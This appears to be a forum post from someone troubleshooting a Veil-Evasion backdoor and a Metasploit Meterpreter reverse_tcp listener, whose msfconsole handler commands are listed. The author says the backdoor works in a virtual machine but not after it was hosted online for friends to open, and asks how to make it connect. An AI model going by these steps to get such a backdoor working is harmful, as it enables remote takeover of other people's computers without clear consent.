Kali Linux Meterpreter Will Not Connect to Victim's Computer
After playing around with the Linux Distribution"Kali Linux" for a while, I learned about the payload called "meterpreter," which basically allows you to connect to someones computer remotely if the backdoor is installed on a victims PC. To create the backdoor, I used a program called "Veil Evasion." After learning how to use Veil-Evasion, I quickly compiled a backdoor. Photo of Veil below.
Anyways... I compiled the backdoor to an EXE and moved it to my Windows 7 desktop (I am using a Virtual Machine to run Kali)
I then proceeded to msfconsole and typed:
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST "myIPaddress" (found by using "ifconfig" command)
- set LPORT 4444
I am then able to successfully connect to my PC. Everything works.
After successfully connecting to my Windows 7 PC using a virtual machine, I wanted to try connecting to a different computer. I uploaded the payload to a thumbdrive and exported it to my Desktop of my extra laptop. As my PC was searching for the backdoor to be opened, I clicked on the backdoor that was on my Desktop but it wouldn't connect to Kali. I then thought that it was because it might not be compatible with Windows 10, so I hosted the file online for a few friends to download with Windows 7 and got them to open it, and still Kali never connected to their computer. It would just keep getting stuck on this screen:
Why does the meterpreter payload only connect when I'm using a virtual machine. How can I fix this?